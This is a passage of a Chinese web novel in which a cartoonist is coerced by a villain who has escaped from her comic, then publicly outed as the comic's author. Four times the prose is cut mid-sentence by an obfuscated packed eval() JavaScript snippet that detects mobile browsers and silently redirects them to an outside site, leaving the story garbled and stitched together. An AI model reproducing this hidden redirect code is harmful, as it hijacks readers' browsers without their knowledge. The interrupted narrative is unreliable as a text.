呼吸开始急促,她感觉到胸口十分压抑,那些话由不相关的人说出来,在她听来都非常刺耳,不敢想象要是由自己亲口诉说,裴佑哲会作何感想。 诺特斯在注视着她,等待她张口,而且他不会有耐心等很久。 庄森芽张合自己的嘴唇,一种麻木感攀上她的大脑,“……收起你伪善的模样,你这样让我觉得很恶心。” 一旁的费洛睁大了眼睛,欲言又止,“森芽你……” 裴佑哲垂在身体两侧的手拧紧成了拳,他眉间的沟壑愈发深邃,但那不是愤怒的堆积所致,而更像是某种脆弱的情绪所染,“……如果你是因为前不久的事情在生我的气,我向你道歉。” 听他这么说,庄森芽短暂地回想了一下上次两人见面的场景。 那是某次下课之后,裴佑哲突然找到她,把她带去了一个无人的小教室,而后突然开始逼问她是不是《灵月十四》的画师。 那之后,石玥诗找了过来,说自己怀孕了。裴佑哲与她攀谈了一番后,就与她一同离去。而那后半场交锋,庄森芽一直躲在书桌后面紧张地看戏。 她没觉得裴佑哲有哪里对不起她,虽然那天被对方逼问的过程不怎么好受,而且直到现在也不知道为什么他那么在乎她是不是漫画的作者,但庄森芽不至于因为一点小小的摩擦就记恨谁,更何况还是帮助了她这么多的裴佑哲。 她想告诉他,她没有因为那天的事情而生他的气,但她不敢贸然开口说话,因为诺特斯未曾允许。 庄森芽仓促地瞥了一眼笑容残忍的人,内心祈祷着,希望他不要再逼她说出什么伤害裴佑哲的话了。 但这只是个天真的想法。 “‘你喜欢我还和别的女人上床,贱不贱啊。’” 听到这句话的时候,她愣住了。 双眼逐渐大睁,连呼吸都下意识停滞,她征询似乎盯着诺特斯,而后者没有看她,却是以一种胜者的自信目光看着裴佑哲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253338|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他似乎对刚才要她转述的那句话很笃定。 她对这番要重述的话感到抵触,更感到困惑。 诺特斯要她说什么……说裴佑哲喜欢她? 她是不是理解错了,裴佑哲怎么可能…… 他好像的确喜欢着除了石玥诗之外的什么人,而且那个人就在雏鸟周他所带队的那只队伍里。 但那个人怎么想都不可能是自己吧…… 庄森芽有些混乱,一种从未有过的想法使头脑阻塞,如何也捋不顺,想不明白。 “快点说。”诺特斯催促着,刺穿裴佑哲脖颈的那只手臂诉说着无言的威胁。 大脑一片混沌,她只能勉强缕清现在最应该做的是什么,那就是保护在场人的安危。 庄森芽张嘴,嗓音因为迟疑而沙哑,她不敢直视裴佑哲的眼睛,声音几乎细不可闻,“你喜欢我还……和别的女人上床,贱不贱啊……” 这话出口,先是听到费洛倒吸了一口冷气,嘴巴大张,来回看着她和裴佑哲。 而学生会主席的脸色发生了从刚才到现在为止最大的转变,他蓦然睁大了眼睛,嘴唇紧绷了起来,像被一只利箭刺穿胸膛的战士,浑身僵硬,呆立在原地。 庄森芽低着头,咬紧了牙,心里说了一万遍对不起。 海风有些刺骨,它吹动一个呆愣的人的鬓角,无法为脸颊带来一丝暖意。 下一刻,裴佑哲睁着一双有些空洞的眼睛,木讷地转动身体,一言不发地背过身去,往来时的路走。 他回到石路上,有些机械地提起放在地上的音箱,而后,就像在海滩上什么也没发生过一样,往灯火通明的篝火晚会走,宛若浑身冰霜的幽灵投身于一场烈火。 “喂……!”费洛连忙跟了上去,抱起他负责的音箱,完全没有了一开始哼哼唧唧的抱怨模样,“佑哲,你等等我!” 看着那两个远去的背影,愧疚充斥着庄森芽的胸腔。 虽然是迫不得已,但是她无疑还是亲口伤害到了裴佑哲。 歉意压得她快喘不过起来,只有心想着将来某日一定能找对方解释清楚,这才有所舒缓。 现在,海滩上又只剩下两个人了。 诺特斯单手插入口袋,笑着目送离开的人们,看起来心情极佳。 而庄森芽拧紧了拳头,愤恨地盯着他,但又不敢发作。他刚刚用裴佑哲的性命威胁她,就代表随时能用篝火晚会上那些学生的生命胁迫她。 其实男人很早之前就能这么做,但庄森芽一直用谎言威逼利诱,维系着一个脆弱的平衡。 现在,谎言被揭穿,平衡打破了,到了歇斯底里见真章的时刻。这时候,她才反应过来自己是处于多么劣势的地位。 诺特斯一旦知道他自己的结局其实还是死路一条,那些维系着的和善假面便一夕破碎,再没有什么利益能够限制他,再没有什么承诺能够说动他。 最初就是用一场并不可靠的交易限制着对方,但在这个已经失去诚信的当下,她已经丢失了所有的价码。 72. 复旧如初的理由 “我原谅你了。”男人这么说着,转过头来,脸上是平和的神情,没有刚才那种看似勾着嘴角但实际充满了危险气息的假笑,也与他最近偶尔会露出的那种空白恐怖的神色不同,现在的他就是惯常的模样,带着点戏谑,态度松弛,整个人身上是一种散漫的气质。 “……”庄森芽紧盯着她,敢怒不敢言。 “那才你和你小姐妹的那通电话,我可以权当没听见。”诺特斯说,先前那些阴暗的气场离他一夕远去,“只要你肯悔改的话。” “你想让我怎么做?”庄森芽问。 “之前承诺我的全部要实现,跟你的编辑也好、看中你的投资人也好,把结局定死并且不可做更改。”他说着,又提出了更多的要求,“而且,我要在这个世界留下来。” “……什么意思?”庄森芽不解。 “字面含义。”诺特斯踱着步,惬意地用鞋尖在沙滩上画着不明的图案,“之前和你说过,这一个月我去见了一个科学家。她和我说……嗯,实现的原理有点复杂,就不解释了。总而言之,漫画完结之后,我便拥有了自由,并且有且只有一次机会在这个世界停留。只要身为作者的你希望我留下来,我就能留下来。” 她有些茫然地听着男人的叙述,今晚发生了太多事情,总觉得脑子已经不太够用了。 “我呢,也觉得这边挺好的,环境又好,空气又干净,随便唱唱歌还有钱赚,和那个支离破碎的莱王星相比,这里简直就是人间仙境。”诺特斯冲她微笑,“所以,我想请你帮我个小忙。” 庄森芽渐渐有点反应过来,诺特斯的意思是,漫画完结之后,他有留在这个世界的选择,只要身为作者的她这么期待的话…… 但她怎么可能期待这种事情,这不是把祸患留在自己身边了吗? 一直支撑她到现在的念头之一就是:诺特斯总有一天会消失,能回到他原本的漫画世界中去。 但现在他说,他有机会留下来? 如果成真了的话,那她岂不是一辈子都要活在他的阴影之下…… “哦,说请你帮忙也不对吧。”诺特斯依旧微笑着,语调拉长了,声音压得很低,“我是在要求你这么做,这是你欺骗我必须付出的代价。” ……不行。 绝对不行。 她满身满心都是拒绝,几乎要脱口而出。 但理智遏制住了否定的话语,一只手压制着另一只手的颤抖。 现在表示出拒绝的态度,只会适得其反,导致有人受伤。刚才诺特斯虽然没有真的对裴佑哲动手,但却用话语间接杀得他片甲不留,他太懂得要如何摧毁善良之人的心。 她又想起很久之前,刚开学的时候,她追着偷走她电脑的诺特斯闯进施工楼的那一次,两个尾随她的社会人士被他用不知道什么方式打昏了过去,那两个人后来被送进了医院,据她所知到现在都没有醒来。 她毫不怀疑,只要他想,他随时都有可能做出更过分的事。 “虽然你好像真的不喜欢那个裴佑哲,”就像读懂了庄森芽心中所想,诺特斯开口说,“但你也不想看到他出什么事吧,小菩萨小姐。” 微凉的海滩上,冷风肆虐,明明不远处就是篝火晚会,可那里的光亮和温暖似乎都无法传递过来。 庄森芽单手抓住自己的胳膊,缓缓垂下了肩膀,像是泄气的皮球,“……我答应你。” 她嘴上这么说,可心里依然是混乱的。 这个时候,一个匆忙的脚步声由远及近,就仿佛知道她在这里一样。 石路上出现了一个短发的人影,精准地找到了这片无人海滩上的她。 来人是段子良,她的呼吸有些急促,语气是严厉且担忧的,“你一个人在这里做什么?素文担心地找了你好久!” 诺特斯似乎又动用了他的能力,他留在沙滩上的图案还在,可是段子良似乎看不见他。 “好了,没事了。”诺特斯转而安慰似的对庄森芽说,“高兴一点,继续回去参加你的篝火晚会吧?但是别忘了,和你那个小姐妹重新沟通一下漫画的剧情,我会盯着你的。” 庄森芽有些迟钝地挪动脚步,像言听计从的木偶一样,往部长的方向靠拢,“对不起……我现在就回去。” 看她精神似乎不太好,段子良脸上的严厉消失了几许,“你没事吧,为什么一个人跑到这种地方来?” 为什么呢,最初只是想找个没人的地方和温枣打电话,聊聊漫画的后续发展,然而事情最后却变成了这样。 原本是十分期待的海岛旅游,可在第一天晚上却发生了这种事,后面的几天她也不会快乐了。 路过段子良的身边,庄森芽微垂着脑袋,与对方一同走在石子路上,“我没事,部长。” 段子良安静了片刻,显然不太会安慰人的她半晌没说话,只是搂住看起来十分低落的人的肩膀,和她慢慢往篝火晚会的方向走。 回到了人群之中,庄森芽坐在堆放着空木签的餐桌旁,学生们在唱歌,音箱在鼓动着,篝火熊熊燃烧,舞蹈仿佛永远也不会停歇。 可她好像突然对这一切都失去了兴趣,怎么也记不起食物是什么味道,跳舞又为什么会感觉到快乐。她呆愣地看了一会,想起来诺特斯的要求,给温枣发去了一条信息:「枣枣,大纲你发过去了吗?」 温枣给她回消息:「还没有诶,我在想怎么润色一下语言,不过你不用担心,我不会改动你的构思的!保证原汁原味。」 庄森芽有些麻木地打字:「对不起,我想了想,剧情还是要改一下……」 温枣:「可以啊,当然可以,干嘛说对不起,帮你润色是我自愿的,你把新的发给我就好~」 盯着那些活泼的文字,庄森芽不知为何感觉鼻尖一酸,她好想把发生的一切都告诉对方,多么想有一个倾诉的对象,可是不行,她不能把好朋友牵连进来。 写下了并不愿意接受的剧情,她认命地点击发送。 不久,温枣发来消息:「噢噢,果然还是要给诺特斯打复活赛吗!」 她似乎很喜欢反转,文字看起来兴致盎然。 这是无奈之下才做出的选择,她无法向对方解释。 有些人是开心了,只剩一堆无解的难题留给她。 庄森芽长叹了一口气,在餐桌上腾出一片空间,有些疲惫地趴了上去。 一旁,始终在看守桌子的副部长冯月客朝她搭话,“森芽,困了吗?要不要先回去休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14263028|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。” 庄森芽摇了摇头,她甚至连出声回应对方好意的精力都没有了。 她不想回去,不想再沦落到一个人的境地,害怕等待她的是比孤独更可怕的东西。 暂时先让她在人群中隐匿一阵,好好整理一番思绪,拾回一些去对抗的勇气吧。 是的,她一定还是要去想办法对抗的,不可能就这么妥协。 只是……先让她休息一下吧。 那之后,她不知道自己怎么就睡了过去,第二天醒来的时候,发现已经身处木屋之中了。 室友汪素文关切地问她怎么样,庄森芽表示自己一切都好。 她是真的觉得还好,睡了一觉之后,头脑感觉清晰了许多,昨晚的疲惫一扫而空,也能好好思考问题了。 婉拒了对方一起去吃早餐的提议,庄森芽独自留在木屋里,清晨的阳光照进来,她盘腿坐在柔软的单人床上,盯着屋檐上方打开的一扇斜窗。 阳光划开了一道阴阳两隔的交界,有灰尘在其上浮动,庄森芽抱着自己的腿,安静地盯着那些灰尘。 要是她也能变成一粒不用思考的尘埃就好了,就不用面对现在所需要面对的一切。 但那是不可能的,她变成了灰也不能眼睁睁看着事情就这么发展下去。 诺特斯所提出的要求……她不能接受。不仅要让他活下去为非作歹,甚至还要留存于她所在的世界,继续行凶作乱。如果真的按照对方的心意这么做了,那她不就变成罪犯了吗? 可是如果不按照诺特斯的想法来,这个人就又会拿她身边的人的性命威胁她,她绝不能接受有谁因此而受到伤害。 她曾经想过立刻马上就‘解决’诺特斯,什么情节的合理性也不管了,大纲就让它吃屎去吧,在一条条鲜活的生命面前,她的漫画生涯又算什么。 可是她有没有把握真的能杀死诺特斯。 画出他的死状就能让生命终结吗,或者更残忍一点,头身分离就可以断绝他的呼吸吗? 越是思考这些细节,她就越是觉得没那么简单。尤其是诺特斯总是把这件事情当成儿戏一样——虽然有时候会表现很可怕,但仔细回想一番,他从来没有动真格做过什么。 设身处地地想一想,如果庄森芽自己是一个不可一世的反派,而现在有一个手无缚鸡之力的小东西动动笔就可以威到她的性命,那她第一件事肯定不是与对方和平地商谈,而是想尽办法把对方囚禁起来,让对方把漫画也好什么也好都画完,确保自己不会再受到威胁,那之后才会把自由还给对方。 可诺特斯一直也没有采取这种做法,他只是口头上威胁来威胁去,庄森芽给出个承诺他就信,随意得就好像拿自己的生命在开玩笑。 然而没有人会这么做。 综上,如果他不是脑袋有什么问题的话,那就是对自己‘不会死’这件事有十足的自信。 或许从头到尾,诺特斯都是在耍她也不一定。或许他只是故意给了她一种能掌控他性命的错觉,看她像个小丑一样提心吊胆、又自欺欺人地算计。 这种想法在她的心里扎根越来越深,她越来越觉得这就是真相。 然而想通了这一点,庄森芽却是一点信心都没有了。 73. 被思绪的网所罩 说实话,她对诺特斯为什么会来到这个世界上、背后又究竟是什么原理在运作全都一概不知。在没有足够信息的前提下,贸然行动面临的大概率是失败。 而失败意味着什么呢,意味着她想要置对方于死地的意图再一次暴露,她又一次失信,又一次会激怒对方。 她觉得自己已经不会再得到宽容了,但凡再被对方发现一次她有异心,将会发生什么,她不敢想象。 可是……现在应该怎么做呢,难道真的一筹莫展了吗? 画死他也不行,她没有足够的把握,不敢轻举妄动;顺应他的意思更是不行,那相当于把穷凶极恶的犯人从牢房里放出去,让他随意杀人放火。在那个充满了异种人的莱王星上,他都是不可一世的霸主,如果让他留在她所在的世界,更会是毁灭性质的打击。 他不会能称霸地球吧…… 要是真的发展到了那一步,庄森芽感觉自己的名字可能要名垂千古了,遭人唾弃的那种。 思来想去,她只想到了一个突破口。 那就是诺特斯所提到过的那个科学家。 如果能和那个人对上话,把自己现在的困境和对方说明,或者从她那里了解到更多关于诺特斯的事情——比如他为什么会从漫画里走出来——或许一切还能有些转机。 可是要怎么联系上那个科学家…… 庄森芽在床上翻了个身,在手机上搜索了一下‘从一个世界到另一个世界’、‘科学家’之类的字眼,但页面返还给她的是一些不怎么靠谱的回答。 茫茫信息之中,没一个看起来是可信的,她没多久就放弃了这条路。 或许只剩下一个选择,那就是去问问诺特斯。 ……他会告诉她吗?如果她摆出一副顺从的姿态,表示自己想要具体了解一番怎么才能让对方‘留在现世’这个课题,而显露出一副尽职尽责虚心请教的态度,或许诺特斯会给她一个接触那个科学家的机会也说不定? 不管怎么样,她觉得可以试试。 初步得出了一个可行的方向,她长叹了一口气,过度的运转下,她只觉得脑袋有些发涨。 从床上坐起来,打算去外面吸收点阳光,让尸体一样的自己重新活过来,她简单洗漱了一番,披上一件开衫的针织外衣,推开木屋的门走了出去。 成片的屋子矗立在水面上,每一个密闭的小房子里现如今都空空荡荡,学生们在房间里待不住,跑去海边聚集,沙滩浴、浮潜、海上项目,玩得不亦乐乎。 住宿区都能听见他们兴奋的叫声,晚秋的凉爽仿佛丝毫没有浇灭他们的热情。 庄森芽闭上眼睛吸了一口气,感受到清新的空气进入自己浑浊的肺部,她往海边走,打算去供应各类食物的小店觅食。 海滩上,有两伙人在玩沙滩排球,他们都是学生会来旅游的学生,排场很大,围观的人几乎快要和场上一样多。 庄森芽拎着一袋甜甜圈坐在沙滩椅上,品尝着冒着热气的卡布奇诺,甜味充斥着味蕾,感觉心情好上了一些。 沙滩排球进行得如火如荼,她坐稳了,定睛看过去,才看清楚人员的构成。 难怪周围有那么多人围观,学生会主席居然也在打球的行列。双方看不出是根据什么分组,各部门的人都有,可能只是随机分配。 人们像海豚一样在沙地上腾飞,目光紧盯着那标准的黄白蓝三色排球,而外围的观众们则紧盯着打排球的人,其中吸引了最多目光的无疑是戴着一条蓝色抹额的裴佑哲,甚至有不少旅客也在周围观赛。 庄森芽也在看他,不过关注点和其他人不同。 他腾空跃起的姿态的确有力,精彩的扣杀堪称完美,每每赢球就有人在一旁尖叫,可她无法与他们同频共情。 看到裴佑哲,她想起的是昨夜的事,尤其是他一言不发、一脸无神地转身离开那个场景。 仔细想来,这是个不比诺特斯轻松多少的难题。 昨天她说的那些话无疑伤害到了对方,道歉是一定要去道歉的,她必须让对方知道那不是她的本意。 诺特斯强迫她说的那些话,用一句话来总结就是:我知道你喜欢我,而我厌恶你。 她要当着裴佑哲的面把这句话全盘否定。 但是……然后呢?只要裴佑哲问一句‘为什么说那种话’,她就不知道该如何回答了。总不能真的说,当时有一个你看不见的恶徒在威胁我,迫不得已所以才那么说。 可如果不告诉对方真相,又该怎么解释? 不解释可以吗?只恳请求对方的原谅,表示自己不是诚心说那些话,只是有不得已但又不能说的原因,所以…… 感觉这个方式不太行。 如果是以前的话,她可能会采取这种肆意妄为的做法,并相信裴佑哲能够宽宏大量地理解她、放她一马。可是第六感告诉她,现在这样行不通了。 要说为什么会有这种感觉…… 首先,是那天下课被这个学生会主席堵在教室逼问的场景,他质问她是不是《灵月十四》的作者,而那是庄森芽第一次被裴佑哲用这么强势的态度对待。这种事有了第一次恐怕就会有第二次,她要是胆敢把昨晚的事糊弄过去,不给一个明确的解释,她觉得裴佑哲是不会放弃逼问她的。 另一方面,就是昨晚让她整个人都愣住的那句话了,而那也是她对裴佑哲说的最后一句话。 ‘你喜欢我还和别的女人……’后面的内容她不愿再回想了。 说完这句话之后,裴佑哲的样子很不对劲,海风虽然掀动他的发帘,可其他部分却像是石雕做的一样,大睁的双眼里没有任何情绪,也没有光,就仿佛整个人都被掏空了,变成了一个没有灵魂的物件。 好像她先前所说的所有那些难听的话,他都能够承受,但这一句不行。 好像那些所有的恶语加在一起都没有这最后一句沉重。 她说见到他觉得反胃,他只是神情微动,有点受伤。 她说觉得他伪善恶心,他拧紧了双拳,看起来有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说起来……好像没看到石玥诗。 自从上次在教室见过她一面、她说自己怀孕了之后,好像一直就没有看到她了,这次的海岛旅行也没有来…… 想到这里,庄森芽渐渐睁大了眼睛。 对啊,她怎么把这么完美的借口给忘了。她完全可是说自己是不想插足他和石玥诗之间的感情。既然都有可能怀孕了……那裴佑哲怎么看都要对人家负责。 昨晚那些话,就解释说是一时没控制好情绪,有些过头了,其实不是真的讨厌他,只是希望通过这种方式,让他把心思放在石玥诗的身上。 没错,就这么解释。 虽然感觉有点牵强,但态度诚恳一点的话应该是能糊弄过去的吧? 终于,截至目前,两个麻烦的问题都得到了解决方案,庄森芽这才感觉到真正的轻松。 74. 刹变 接下来的时间,她一直在等裴佑哲下场。 她把那些解释话语在内心里重复了一遍又一遍,甚至想好了要配上怎样的表情。 可惜一切没有如她所愿。 裴佑哲从场上下来的时候,立刻被一群递水递饮料的女生们围住了,石玥诗不在,而裴佑哲又一时对外宣布的是单身,这导致没有这个所谓的‘正主’镇场子的时候,对学生会主席表示好感的女生有很多。 庄森芽一路尾随在裴佑哲的身后,好不容易把那些人都熬走了,在背后喊对方的名字,想叫他等一下。 她觉得自己的声音足够大,而且喊了好几遍,可是裴佑哲就像没听见一样,径直走进了海滩边上提供给游客的淋浴房,一进就是半个小时没出来。 庄森芽又在外面等了他半个小时,好不容易把人等出来了,就见他和不知道哪冒出来的好兄弟费洛勾肩搭背,两人旁若无人地往住宿区走。 她连忙追上去,喊着:“佑哲,我有话跟你说!” 费洛见到她,两眼放光,挡在她和裴佑哲之间,“森芽,我们正好四缺一!” “什、什么?” “走走,去打麻将!” 庄森芽被拦住了,浅黄头发的男生不由分说揽住她的肩,把她往相反的方向带。 她回头,看到裴佑哲在头也不回地往前走。 至此,她算是明白过来了。 裴佑哲不想见她。 费洛带她走,她没反抗,心情有点复杂,想和那人说话的念头被冲淡了。 应该说有点胆怯,因为对方的冷漠并不常见。 他们来到了棋牌室,棋牌室在海边一个窗明几净的屋子里。 麻将两元起步,一局二十封顶。 她头脑不清醒,八轮输了一百。 费洛说她是他抓来充数的,于是付了这笔钱。 她不再打下去了,只怕会让费洛输得更多。 回到自己的木屋倒下,迷迷糊糊又睡了一觉,醒来天色已晚。 汪素文回来了,带着香喷喷的炒饼,说是这里的特色。庄森芽起来吃了一些,没胃口,倒头又睡。 次日,旅程进入尾声,学生们乘坐渡轮离开岛屿,又登上返校的大巴。 而庄森芽也一直再没有找到机会和裴佑哲说上一句话。 给他的手机发消息,就像石沉大海一样,毫无回音。 ## 旅行归来,学校组织秋季下半学期的激励演讲,主要目的是帮学生们收收心,冲刺即将到来的期末考试。 主讲人无疑还是品学兼优的学生会主席,他依然像开学典礼那天,站在无人可及的高台,如上天派来的高洁之人一样和下面的学生们说话。 然而在庄森芽的眼里,对方的形象却与圣徒不再那么沾边了,他不是那么遥不可及,也会像正常人一样脆弱,更有强迫别人去做事的时候,他不再那么完美,却也愈发鲜活,就是因为这样,庄森芽对他的愧疚感愈发强烈了。 圣人或许没有感情,怎样的事情都伤害不了他们,但裴佑哲若只是一个高尚的普通人,情况就不一样了。 他会有动摇的时候,会有行为不得体的时候,更会有控制不住自己的时候,也会有悲伤失意的时候。 她有时会想,裴佑哲维系着现在这副宽和亲切的模样,究竟花了有多少精力。 在她的印象里,高中时期的裴佑哲并不完全是这样的。那个时候的他,表面上虽然和现在差不多,但私底下其实要更加锐利一些,处事没有现在这么圆滑,会直言他喜欢什么、不喜欢什么,很多时候把自己的感受摆在第一位。 庄森芽总觉得人是不会轻易改变的,自己心里也时常住着那个阴沉的小女孩,一旦受到外界过分的打击,她就又会脱下光鲜亮丽的伪装,缩回自己的壳里去。 她觉得,自己可能无意间撕开了裴佑哲的假面,让他想要隐藏的一部分暴露了出来。 但其实这一部分她很早就见过,也没觉得那是多么不堪的嘴脸,不如说那样的他更让她感到亲切,就仿佛又回到了高中的课间,同学们都去操场上玩了,她只有一支画笔和一个找各种借口来看她画画的人作伴。 是啊,为什么没能早点察觉呢,看别人画画是一件多么百无聊赖的事情,可是裴佑哲天天都来,乐此不疲,他一定是找到了什么画画之外的乐趣。 庄森芽看着讲台上的那个人,先前一度有些丢失的勇气又被她找了回来。 这次演讲结束之后,就去找他吧,就算他依然躲着她,也要坚持和他说上话。 她要先说对不起,而后是对他的感激,最后是对他最为美好的祝愿。如果连这些话她都没有办法对一个亲切的朋友说出口,因为对方对自己一点小小的冷淡就担惊受怕,不敢袒露自己的心声,那她将来也不用再交什么朋友了,永远孤苦伶仃吧,就像高中那时那样。 “……虽然考试很重要,但我希望大家能够合理安排自己的时间。”讲台上的裴佑哲说着,“学业并不是一切,相信你们已经有很多人发现了自己生命中更为重要的事情,那或许才是你一生的事业。” 讲台下的学生们安静地聆听着,学生会主席的演讲总是张弛有度,懂得如何让观众的注意力时刻聚集在他的身上。 “说到这里,我必须点名一位学生,她是在这方面我见过的做得最好的人之一。” 当裴佑哲说出这句话的时候,目光就落在了茫茫众人中的某处,而这个某处刚好是庄森芽所在的位置,这个时候的她还不知道即将要发生什么,还在一无所知地辨析学生会主席是不是在看自己。 “即便课业繁重,她在各种小测验中基本都保持着A以上的成绩,与此同时,却也没有耽误自己的创作事业。”裴佑哲的目光移走了,转向其余观众,“这个人你们或许都知道,她就是《灵月十四》的作者,笔名青沐,同时也是我们学校生物医学工程的大一新生,庄森芽。” 话音落下,台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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腾一下站起来,她低着头往场地的门口走,演讲还没有结束,她是唯一一个起身的人,动作又吸引了不少视线,可她无法再待下去了。 庄森芽不知道自己是怎么回到宿舍楼的,一路上脑袋都浑浑噩噩,始终不敢相信裴佑哲居然真的把她是作者的事情说了出来。 他到底为什么要那么做?她高中的时候没少和他倾吐过对于那段经历的恐惧,他明明应该知道她多么不希望这种事情发生,可他还是这么做了。 为什么。 难道他是在……报复她?因为海岛旅行那晚,她对他说了很过分的话? 不,裴佑哲不是那种人,他不会的。 不管他这么做的原因是什么,在场的那些大一新生无一例外都知道了这件事情,而她丝毫不怀疑,要不了多久这件事在上茂哈里森大学就不是什么秘密了。 要是被全校人都知道的话,会有什么后果……? 75. 麻烦接踵而至 庄森芽像个失了魂的的野鬼一样走进了宿舍里,一滩烂泥似的倒在自己的床上。 手机嗡嗡作响,她一路上收到了很多消息,但一直没敢看,生怕看了会半路直接一蹶不振,倒地不起。 回到了自己安适的小窝,她这才鼓起勇气。而事实证明,她的选择是对的,没有在半路就开始翻看信息,是一个正确的决定。 一部分消息是不太熟悉的学生会成员和专业同学发来的,他们有她的联系方式,和她说过一两次话,都在好奇学生会主席说的是不是真的,纷纷向她表示赞扬或者提出疑问。 也有熟悉的人找她,其中发来消息最多的当属温枣,这个粉头发的女孩其实很早就知道庄森芽是《灵月十四》的作者,也一直替她完好地保守着这个秘密,身为大一新生的她刚刚也在场,而对于今天期中演讲上发生的事,她也表示很惊讶。 温枣最早的一条信息是裴佑哲刚刚宣布作者青沐的真实身份的时候发来的:「森芽,你打算公开了?!」 紧接着又是一条:「啊啊,为什么不把这个公布的机会留给我,我就能借机宣布自己是你的头号粉丝了。」 下一条隔了五分钟:「森芽,你怎么走了?」 片刻之后:「……你是不是不希望公开?」 温枣:「森芽,你还好吗?你去哪了?」 而后的十几分钟里,她都没有再发来消息,直到前不久。 文字框里充满了感叹号:「不好了!!!森芽!!!!你快看这个!!」 温枣发来了一堆短视频和网上截图,这些视频图片的画面上呈现出来一个空荡的房间,里面均有一个人影,这个人坐在电脑前,一直保持着一个姿势,面朝着屏幕不知道在干什么。 庄森芽点开视频的时候,只觉得体内的血都凉了。 她认得这个空荡的房间,它是学生会的活动室,四四方方,角落里摆着一台孤零零的台式机。 而坐在那台电脑前面、伏案作画的人,就是庄森芽自己。 这恐怕是活动室的监控录像。 温枣甩来一个链接,又发来了一条最新消息:「这是我在外部网站上看到的。森芽,消息居然已经流传到学校外面了!你知道这件事吗?是不是有人刻意炒作之类的,把你的真实身份都扒出来了,感觉不像是心怀好意……是不是有黑粉想害你啊?」 庄森芽不敢点进那个链接,只是看到温枣给她发来的文字和视频图片消息,都已经足够让她心惊胆战了。 居然连校外的人都……事情怎么会发展成这样? 为什么消息传得这么快,是谁把监控录像传播出去的,怎么会那边裴佑哲刚公开她是《灵月十四》的作者,这边就突然雨后春笋一样冒出来这么多证明她是作者本人的证据? 这到底是巧合还是…… 宿舍门口传来了开门的动静,庄森芽一惊,缩回了自己的被子里。理智上知道那应该是自己的舍友,但她现在的精神状态衰弱得就像是受伤的野兽一样,一点风吹草动都足以让神经紧绷。 接连的冲击挤压着大脑,搅得里面一片混乱。她时而不停地回忆究竟为什么事情会发展至今,时而焦虑地推演着未来可能还会发生什么。 越来越多的人知道她是《灵月十四》的作者,就有更大的概率出现深挖私人信息的那种穷极无聊的人,他们会把她的过去翻个底朝天,包括她小学初中高中都是在哪里念的,家庭条件怎么样,接触过哪些人物。 庄森芽曾经没少在网上乐此不疲地吃着别人的瓜,可那时的她怎么也不会想到,有一天自己也有可能成为当事人。 如果只是被挖出教育背景,这倒是还好,所有人都会上小初高,她没什么特殊,但他们或许会把她不堪回首的往事公之于众,那对她来说将是不小的打击; 若是深挖她的家庭背景,她有点担心父母会不会面临更大的压力,毕竟前不久家里公司因为材料垄断的事情而经营得苦不堪言,她怕有小人借机落井下石; 更重要的是,如果有人发现了她和诺特斯的关系……她不好说会发生什么。 如果有一千个人觉得漫画里的反派是以诺特斯为原型创造的,就像裴佑哲和温枣以为的那样,这倒是还好。但怕就怕在这一千个人当中有一个突发了奇思妙想,又或者当他们发现诺特斯最初活跃起来的时间和漫画开始连载的时间吻合时,会产生一种逼近真相的推测。 如果被人知道了真相……又会发生什么?社会会如何回应,而诺特斯又会做什么? 想到这里的时候,庄森芽头脑僵硬,觉得自己的每一个细胞都在担惊受怕。 “森芽,你在吗?” 遮光的挂帘外面,传来了舍友汪素文的呼唤声。 庄森芽勉强脱离自己繁杂的思绪,注意力从那些不断生出恐惧和焦虑的事情上转移,“……嗯,我在。” “没事吧,你刚才突然就走了……”汪素文似乎很容易就能觉察到身边人情绪的变化,并总是在为此担忧。 而一同归来的另一个舍友莫茹似乎则没有这么细心,她凑上前来,语气听起来是兴奋的,“森芽,真的吗,你还会画漫画?” “……”庄森芽窝在床上没回话。 “森芽她是不是心情不好……”汪素文冲自己的小伙伴说。 莫茹音色困惑,“怎么了?” 这时候,宿舍门口又响起了开门声,她们共同的最后一名舍友也出现在了门口。 “天哪,你居然出现了。”莫茹对那个人说,“玥诗,我感觉都快半个学期没见过你了。” 高跟鞋的脚步声从门口移动到庄森芽的床边,隔着一层不透光的挂帘,声音传递了过来。 “森芽,原来那个人是你。”石玥诗说。 庄森芽有点不明所以,她从床上坐起来,掀开遮光帘,看到她的三个室友都在她的床下围着,脸上挂着各异的表情。 “什么……是我?”她感到困惑。 